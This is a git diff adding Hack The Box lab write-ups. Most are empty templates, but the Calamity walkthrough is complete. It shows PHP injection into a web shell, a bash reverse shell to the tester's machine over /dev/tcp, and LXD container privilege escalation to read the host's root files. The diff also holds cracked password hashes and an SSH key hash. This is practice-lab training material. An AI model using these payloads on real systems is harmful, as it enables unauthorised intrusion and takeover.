id_rsa:$sshng$1$16$66B9F39F33BA0788CD27207BF8F2D0F6$1200$455f74dc7e95ea584ac65f1d86871a12d2f85339328f57eac958f77b24aa9001649179acd87fb895f6f7e5465bdd61426fa3fbcd864302744b42324473fb10557bb01337d631aee9605f4abfa8a32199920ce3003e36828e78e75f990930adc57b506b41d874a615808615266d8beddb3f030ff3862a1c650bba13ff8f48fcc13eb66e5ec8b19b2baf4ebb16f93c1b7287d03e4e7ef482210d47f1313bca98e1635040cb6208cd2db337acf3e82e384282724322be6476a961d30acf8def06f36bffc984e1be19daaf121269d79a50ba3ff7482f4ee71c8b7b69aa2f54d42b75ab169432bfc9576abb47d6f2939f26ddf7e5a67bf8154dfc1265680c78642345759edca52c80664d14aef9c18b40fc5fc307b4191707ced8b6f498bed7cb3c7a65a92e958e1b16906d5ecb812583cdcbbc01e59bde4520767fc7739eeda6bdaac1c8ca0237f5e055566e8ee80d6c47237afae82c635effe212909595e38dcac93709da221101af81cc786b071df5906fff9e2c74bd7a07cc1f158f77ea87ed8c132715bc3c4b2bc0883331dcddc45550c05e4365f81ae2cf1912a551e4ab998cffb07ef9011df387a66f96f6b5e586afe6f478f1c7528454b7142e9a1fa4905957bd2b7a07cd887095f4fec153df69e66b4a5087d211b5cfd0b507d07130b42b0c77a3a7d6db2e9a49dfda5ed54f83063cc3a38b3aae4f828bfe5da627a8797ae6193a84943422f8a114f60f02269b686d80065313c52293eb376fb54416f163a6156a8a797b2aad9c5e191a9242a025b6afc051b02bee20bbeb3b53b481717ec2db24b66ca5987bc7029a17ad6fc64e18dd564743f54ffa466befdecfce86d940a775aac3a448f8a7c23c6882ce1d55d327d71fbd027cb3b635c5ad3bf25426f607dccfabbc30c76522ea816f38d7293376b4179d1eecf4d8f6126a16ef6207ce734f981d4b42d0f8e4d1fa3881bcf9058d01d40772065ea703f3e3ff697b6b44aaeecc83f70b501b1361be1aea67ed89c397f4e00eadc67c4467087555adcd4e2ad982997b1e25cb3782fe4e1301ba1f674138914b1a21b155ffb38c79d302cc24c9eab94097677c7bc76c49f17de9059ebe70f9d32c7ec1b27f8b36689c7994ff669ce1cf0b3d8aba43d28b9a59eebc8f5b2df38987c0cb16ea82548f06cd13a321dc5d97393dca9e0bc5c0279b53b1f4c108aa6395c007776c49987242b0c3f12602b348ae7af9e10edad4f31d0ac65c7a30a39ef990159de4a390a81420be9147b58fdda2d3cd643808665ea57773ac6087c560daa3b2ce8666e70459645da74d79e7090dce611dcd32c5014d51b6b6581fa75360770232c535a7d3d5749cecea36d27b381b74fd17b04ec160a0d56b0906d0f15bd915c92f1bcb15dd4f5b87d665dbcff6237078ef6890468fb9ba8447a4081f39238446dc6e32992b914dc8cd23ec552f5cdcb80a8624d2e704db4f0ecefefc7134ea0ba68c4ed96cdbff85e710187a5602eb8d38507062a282458968ac811ce844b6e66a0efd8c15213acdd5ff37e2ff15122fd68551f5562f406a6a11a192506fbf4d275c00d41d0f79afe8419823ea38ad92841c929494223e238f231dbbd008b59a47f6e48d926e5ed4ae5744c95eda3a69bce7482d4116500222a0661dd79a2175aa1fe3655ce08613c8d018cf2cfdf77f8f983501dc37 + + + + +However the intended path was to crack the hashes we got from ozdb, particularly wizard.oz's password hash + + + Table: users_gbw + [6 entries] + +----+----------------------------------------------------------------------------------------+-------------+ + | id | password | username | + +----+----------------------------------------------------------------------------------------+-------------+ + | 1 | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 | dorthi | + | 2 | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk | tin.man | + | 3 | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY | wizard.oz | + | 4 | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY | coward.lyon | + | 5 | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg | toto | + | 6 | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ | admin | + +----+----------------------------------------------------------------------------------------+-------------+ + + + +so we crack it using john and rockyou.txt and we get the password wizardofoz22, so let's login: + +![](prg/13/4.png) ![](prg/13/5.png) + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/14.md b/Hard/14.md new file mode 100644 index 0000000..7697a93 --- /dev/null +++ b/Hard/14.md @@ -0,0 +1,66 @@ +# Zipper Writeup + +![](img/14.png) + +## Introduction : + +Zipper is a hard linux box released back in October 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/15.md b/Hard/15.md new file mode 100644 index 0000000..0899be2 --- /dev/null +++ b/Hard/15.md @@ -0,0 +1,66 @@ +# Conceal Writeup + +![](img/15.png) + +## Introduction : + +Conceal is a hard windows box released back in January 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/16.md b/Hard/16.md new file mode 100644 index 0000000..6802307 --- /dev/null +++ b/Hard/16.md @@ -0,0 +1,66 @@ +# FluJab Writeup + +![](img/16.png) + +## Introduction : + +FluJab is a hard linux box released back in January 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/17.md b/Hard/17.md new file mode 100644 index 0000000..6254606 --- /dev/null +++ b/Hard/17.md @@ -0,0 +1,66 @@ +# Helpline Writeup + +![](img/17.png) + +## Introduction : + +Helpline is a hard windows box released back in March 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/18.md b/Hard/18.md new file mode 100644 index 0000000..e177751 --- /dev/null +++ b/Hard/18.md @@ -0,0 +1,66 @@ +# OneTwoSeven Writeup + +![](img/18.png) + +## Introduction : + +OneTwoSeven is a hard linux box released back in April 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/19.md b/Hard/19.md new file mode 100644 index 0000000..93714d9 --- /dev/null +++ b/Hard/19.md @@ -0,0 +1,66 @@ +# Ghoul Writeup + +![](img/19.png) + +## Introduction : + +Ghoul is a hard linux box released back in may 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/2.md b/Hard/2.md new file mode 100644 index 0000000..f15a77f --- /dev/null +++ b/Hard/2.md @@ -0,0 +1,499 @@ +# Calamity Writeup + +![](img/2.png) + +## Introduction : + +Calamity is a hard linux box released back in June 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.9/23 ] [ /dev/pts/9 ] [~/_HTB/Calamity] + → sudo nmap -vvv -sTU -p- 10.10.10.27 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Discovered open port 80/tcp on 10.10.10.27 + Discovered open port 22/tcp on 10.10.10.27 + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.9/23 ] [ /dev/pts/9 ] [~/_HTB/Calamity] + → nmap -sCV -p80,22 10.10.10.27 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-07 15:55 BST + Nmap scan report for 10.10.10.27 + Host is up (0.029s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA) + | 256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA) + |_ 256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Brotherhood Software + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/2/001.png) + + + [ 10.10.14.9/23 ] [ /dev/pts/9 ] [~/_HTB/Calamity] + → gobuster dir -u http://10.10.10.27 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.27 + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Extensions: html,php,asp,aspx,jsp,txt + [+] Timeout: 10s + =============================================================== + 2020/08/07 16:00:31 Starting gobuster + =============================================================== + /index.md (Status: 200) + /uploads (Status: 301) + /admin.php (Status: 200) + Progress: 20842 / 220561 (9.45%) + + + +Running gobuster we see that we have an interesting admin.php webpage: + +![](prg/2/002.png) + +And we get a commented line which hints us towards a password: "skoupidotenekes", so blindly we test the credentials admin:skoupidotenekes: + +![](prg/2/003.png) + +Now here the idea is to send GET requests to this admin.php page and test wether or not we can execute html code on it, and if we can, testing if we can execute php code (which would hopefully allow us to spawn a reverse shell). + +![](prg/2/004.png) + +Once the request is sent to the repeater, we change the html parameter to see if we can get anything: + +![](prg/2/005.png) + +And it looks like we are able to send and execute our own html code ! now let's see if we can execute php code: + + + <****?php echo "nihilist"; ?> + +![](prg/2/006.png) + +Now let's see if we can print out the phpinfo() function: + + + http://10.10.10.27/admin.php?html=%3C%3fphp+phpinfo()%3b+%3f%3E + + + +![](prg/2/007.png) ![](prg/2/008.png) + +It doesn't seem we can't get a reverse shell and/or execute commands so now let's try to execute commands on the machine os from our php injection: + + + <****?php system($_REQUEST["cmd"]); ?> + +Here we request the parameter cmd, and so we add another parameter to set the cmd variable to "id" to see as which user we can execute our commands + + + &cmd;=id + + + +which gives us this request: + + + <%3fphp+system($_REQUEST["cmd"])%3b+%3f>&cmd;=id + + + +` ![](prg/2/009.png) + +And we can execute commands as www-data! now let's get a reverse shell onto the box: + + + <%3fphp+system($_REQUEST["cmd"])%3b+%3f>&cmd;=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.9/9001+0>%261' + + + +Here is our GET request: + + + GET /admin.php?html=<%3fphp+system($_REQUEST["cmd"])%3b+%3f>&cmd;=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.9/9001+0>%261' HTTP/1.1 + Host: 10.10.10.27 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.27/admin.php + Connection: close + Cookie: adminpowa=noonecares + Upgrade-Insecure-Requests: 1 + + + +` ![](prg/2/010.png) + +And we get a reverse shell ! However our reverse shell dies quickly which means that we probably have to do it manually without a reverse shell for now: + + + /admin.php?html=<%3fphp+system($_REQUEST["cmd"])%3b+%3f>&cmd;=cat+/etc/passwd + + + +` ![](prg/2/011.png) + +And we get the username xalvas! so let's try to read the userflag in the directory /home/xalvas/user.txt + +![](prg/2/012.png) + +And that's it ! we have been able to read the user flag. + +## **Part 3 : Getting Root Access** + +We can print out the user flag from our php code injection, but we need to get root access we need to poke around the box further: + +![](prg/2/013.png) + +Here we see that there is a file called recov.wav so we get it onto our box using base64 copypasting + +![](prg/2/014.png) + +Here we can just right click the response, and hit "copy to file" + +![](prg/2/015.png) + +Edit out the html part in nano, and then decode the b64 and use the "file" command utility to print out extra info about recov.wav: + + + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → file recov.wav.b64.req + recov.wav.b64.req: HTML document, ASCII text, with CRLF, LF line terminators + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → nano recov.wav.b64.req + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → mv recov.wav.b64.req recov.wav.b64 + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → base64 -d recov.wav.b64 > recov.wavv + base64: invalid input + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → base64 -di recov.wav.b64 > recov.wav + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → file recov.wav + recov.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz + + [ 10.10.14.9/23 ] [ /dev/pts/16 ] [~/_HTB/Calamity] + → audacity recov.wav + + +` ![](prg/2/016.png) + +The audio wav file is basically a rickroll track But if we invert one of the 2 audio files in audacity, we can hear the difference in between the 2 files and it says the following + + + 47936..* your password is 185 + + + +put back in place it says: + + + your password is 18547936..* + + + +so we try to login via ssh with the credentials xalvas:18547936..* + + + [ 10.10.14.9/23 ] [ /dev/pts/11 ] [~] + → ssh xalvas@10.10.10.27 + The authenticity of host '10.10.10.27 (10.10.10.27)' can't be established. + ECDSA key fingerprint is SHA256:yT6ino7wgCPkMVczALjJ+BeH7VZB+It79p9HRVPEyuY. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.27' (ECDSA) to the list of known hosts. + xalvas@10.10.10.27's password: + Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 9 packages can be updated. + 8 updates are security updates. + + + Last login: Fri Jun 30 08:27:25 2017 from 10.10.13.44 + xalvas@calamity:~$ id + uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) + xalvas@calamity:~$ + + +Now by typing id we saw that xalvas is part of the lxd group, and this can be compared to being in a docker group. so first of all let's get an alpine linux docker image on our machine: + + + + xalvas@calamity:~$ id + uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) + xalvas@calamity:~$ which lxc + /usr/bin/lxc + xalvas@calamity:~$ lxc --help + Usage: lxc command [options] + + This is the LXD command line client. + + All of LXD's features can be driven through the various commands below. + For help with any of those, simply call them with --help. + + Commands: + config Change container or server configuration options + copy Copy containers within or in between LXD instances + delete Delete containers and snapshots + exec Execute commands in containers + file Manage files in containers + image Manipulate container images + info Show container or server information + launch Create and start containers from images + list List the existing containers + move Move containers within or in between LXD instances + profile Manage container configuration profiles + publish Publish containers as images + remote Manage the list of remote LXD servers + restart Restart containers + restore Restore containers from snapshots + snapshot Create container snapshots + start Start containers + stop Stop containers + version Print the version number of this client tool + + Options: + --all Print less common commands + --debug Print debug information + --verbose Print verbose information + --version Show client version + + Environment: + LXD_CONF Path to an alternate client configuration directory + LXD_DIR Path to an alternate server directory + + + +The idea here is to import an Alpine Linux machine onto calamity, and to basically use lxc's image import feature to get a root shell onto the host machine: + + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~] + → sudo apt update -y + Hit:1 http://packages.microsoft.com/repos/vscode stable InRelease + Hit:2 http://archive-4.kali.org/kali kali-rolling InRelease + Reading package lists... Done + Building dependency tree + Reading state information... Done + All packages are up to date. + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~] + → sudo apt install docker.io + Reading package lists... Done + Building dependency tree + Reading state information... Done + docker.io is already the newest version (19.03.12+dfsg1-3). + The following packages were automatically installed and are no longer required: + libmpdec2 libx264-155 + Use 'sudo apt autoremove' to remove them. + 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity] + → ls + recov.wav recov.wav.b64 recov.wavv + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity] + → mkdir lxd + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity] + → cd lxd + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity/lxd] + → git clone https://github.com/saghul/lxd-alpine-builder.git + Cloning into 'lxd-alpine-builder'... + remote: Enumerating objects: 27, done. + remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27 + Unpacking objects: 100% (27/27), 15.98 KiB | 287.00 KiB/s, done. + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity/lxd] + → cd lxd-alpine-builder/ + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity/lxd/lxd-alpine-builder] + → ls + build-alpine LICENSE README.md + + +So here we install docker and git clone the lxd-alpine builder repo from saghul + + + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity/lxd/lxd-alpine-builder] + → sudo su + root@nowhere:/home/nothing/_HTB/Calamity/lxd/lxd-alpine-builder# ls + build-alpine LICENSE README.md rootfs + root@nowhere:/home/nothing/_HTB/Calamity/lxd/lxd-alpine-builder# ./build-alpine -a i686 + Determining the latest release... v3.12 + Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86 + Downloading alpine-keys-2.2-r0.apk + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + Downloading apk-tools-static-2.10.5-r1.apk + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + Downloading alpine-mirrors-3.5.10-r0.apk + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' + alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK + Verified OK + Selecting mirror http://nl.alpinelinux.org/alpine/v3.12/main + fetch http://nl.alpinelinux.org/alpine/v3.12/main/x86/APKINDEX.tar.gz + (1/19) Installing musl (1.1.24-r9) + (2/19) Installing busybox (1.31.1-r19) + Executing busybox-1.31.1-r19.post-install + (3/19) Installing alpine-baselayout (3.2.0-r7) + Executing alpine-baselayout-3.2.0-r7.pre-install + Executing alpine-baselayout-3.2.0-r7.post-install + (4/19) Installing openrc (0.42.1-r10) + Executing openrc-0.42.1-r10.post-install + (5/19) Installing alpine-conf (3.9.0-r1) + (6/19) Installing libcrypto1.1 (1.1.1g-r0) + (7/19) Installing libssl1.1 (1.1.1g-r0) + (8/19) Installing ca-certificates-bundle (20191127-r4) + (9/19) Installing libtls-standalone (2.9.1-r1) + (10/19) Installing ssl_client (1.31.1-r19) + (11/19) Installing zlib (1.2.11-r3) + (12/19) Installing apk-tools (2.10.5-r1) + (13/19) Installing busybox-suid (1.31.1-r19) + (14/19) Installing busybox-initscripts (3.2-r2) + Executing busybox-initscripts-3.2-r2.post-install + (15/19) Installing scanelf (1.2.6-r0) + (16/19) Installing musl-utils (1.1.24-r9) + (17/19) Installing libc-utils (0.7.2-r3) + (18/19) Installing alpine-keys (2.2-r0) + (19/19) Installing alpine-base (3.12.0-r0) + Executing busybox-1.31.1-r19.trigger + OK: 8 MiB in 19 packages + + +Let it build for a while, then once it's done building, we can use the scp command utility to move the tar.gz file onto the host machine, into xalvas' home directory. + + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity/lxd/lxd-alpine-builder] + → scp alpine-v3.12-i686-20200813_2019.tar.gz xalvas@10.10.10.27: + xalvas@10.10.10.27's password: + alpine-v3.12-i686-20200813_2019.tar.gz 100% 3135KB 535.0KB/s 00:05 + + [ 10.10.14.8/23 ] [ /dev/pts/24 ] [~/_HTB/Calamity/lxd/lxd-alpine-builder] + → ssh xalvas@10.10.10.27 + xalvas@10.10.10.27's password: + Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 9 packages can be updated. + 8 updates are security updates. + + + Last login: Thu Aug 13 12:40:34 2020 from 10.10.14.8 + xalvas@calamity:~$ mkdir lxd + xalvas@calamity:~$ mv al + alarmclocks/ alpine-v3.12-i686-20200813_2019.tar.gz + xalvas@calamity:~$ mv alpine-v3.12-i686-20200813_2019.tar.gz lxd/ + xalvas@calamity:~$ cd lxd/ + xalvas@calamity:~/lxd$ + + +from here, all we need to do is run the alpine image and init the container: + + + + xalvas@calamity:~/lxd$ lxc image import alpine-v3.12-i686-20200813_2019.tar.gz --alias nothing-alpine + Generating a client certificate. This may take a minute... + If this is your first time using LXD, you should also run: sudo lxd init + To start your first container, try: lxc launch ubuntu:16.04 + + + Image imported with fingerprint: 705e08c329b2c8f7d803a5b7b943b828631ab50a5bf05cf8bd62cb4d48c150f9 + xalvas@calamity:~/lxd$ + xalvas@calamity:~/lxd$ lxc image list + +----------------+--------------+--------+-------------------------------+------+--------+------------------------------+ + | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | + +----------------+--------------+--------+-------------------------------+------+--------+------------------------------+ + | nothing-alpine | 705e08c329b2 | no | alpine v3.12 (20200813_20:19) | i686 | 3.06MB | Aug 13, 2020 at 6:34pm (UTC) | + +----------------+--------------+--------+-------------------------------+------+--------+------------------------------+ + xalvas@calamity:~/lxd$ lxc init nothing-alpine privesc -c security.privileged=true + Creating privesc + xalvas@calamity:~/lxd$ lxc list + +---------+---------+------+------+------------+-----------+ + | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | + +---------+---------+------+------+------------+-----------+ + | privesc | STOPPED | | | PERSISTENT | 0 | + +---------+---------+------+------+------------+-----------+ + + +Here we basically init our alpine container with the security.privileged flag set to true. From here we need to add the privesc config to our host-root at /mnt/root and then start the privesc config from our container onto /bin/sh in order to get a root shell From the container, BUT the main host's root (/) directory is accessible from the container's /mnt/root, which means the root flag is accessible from /mnt/root/root/root.txt inside the container itself. + + + + xalvas@calamity:~/lxd$ lxc config device add privesc host-root disk source=/ path=/mnt/root + Device host-root added to privesc + xalvas@calamity:~/lxd$ lxc start privesc + xalvas@calamity:~/lxd$ lxc exec privesc /bin/sh + ~ # id + uid=0(root) gid=0(root) + ~ # cat /mnt/root/root/root.txt + 9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/2_graph.png) + diff --git a/Hard/20.md b/Hard/20.md new file mode 100644 index 0000000..4dcc7ae --- /dev/null +++ b/Hard/20.md @@ -0,0 +1,66 @@ +# Ellingson Writeup + +![](img/20.png) + +## Introduction : + +Ellingson is a hard linux box released back in May 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 